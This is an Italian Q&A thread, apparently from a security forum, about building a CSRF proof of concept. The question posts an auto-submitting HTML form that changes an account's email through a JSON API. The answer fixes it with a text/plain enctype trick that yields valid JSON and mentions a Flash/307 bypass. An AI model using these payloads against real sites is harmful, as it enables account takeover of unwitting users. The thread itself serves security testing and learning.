Test CSRF. Errore di convalida 422. Locale richiesto

2

Quindi sto testando questo sito per corsi e penso che potrebbe essere vulnerabile CSRF tuttavia, quando provo a fare una richiesta di post ottengo un errore di convalida che dice che "locale" è richiesto nonostante io specificandolo nella richiesta. Ecco il codice sorgente del modulo.

<html>
<head>
</head>
<body>
    <form action="http://account.testbank.com/api/account/v1/user/email" method="post" enctype='applicatiom/json'>
        <input name='{"email":"[email protected]" ,"locale": "en"}'>
        <input type="hidden" name="locale" id="locale" value="en-US">
        <script> document.forms[0].submit()</script>
    </form>     
</body>
</html>

Che cosa sto sbagliando?

    
posta 光量子 22.08.2018 - 18:15
fonte

1 risposta

1

Vedo che vuoi inviare un formato JSON; un modulo HTML crea una richiesta POST prendendo gli attributi name e value nel seguente modo:

name1=value1&name2=value2

Quindi, la tua richiesta POST potrebbe assomigliare a questa:

{"email":"[email protected]" ,"locale": "en"}=&locale=en-US

Come puoi vedere, è un formato JSON errato e l'applicazione potrebbe generare un errore. Inoltre, stai utilizzando il valore applicatiom/json per l'attributo enctype per specificare l'intestazione content-type , ma questo potrebbe codificare il corpo della richiesta POST, qualcosa del genere:

%7B%22email%22%3A%22testuser%40gmail.com%22%20,%22locale%22%3A%20%22en%22%7D=&locale=en-US

Hai un altro formato JSON errato.

Quindi, se l'applicazione non convalida content-type , potresti utilizzare text/plain anziché applicatiom/json e cambiare il modulo nel modo seguente:

<input name='{"email":"[email protected]" ,"locale": "en' value='"}'>

La richiesta POST sarebbe la seguente:

{"email":"[email protected]" ,"locale": "en="}

Ora, hai un formato JSON corretto, il problema univoco potrebbe essere il carattere = .

Se l'applicazione convalida content-type , c'è una tecnica su uno script Flash e una risposta HTTP 307, vi condivido un collegamento su questa tecnica.

CSRF Flash 307

Spero che questa informazione ti aiuti.

Buona fortuna.

    
risposta data 23.08.2018 - 01:16
fonte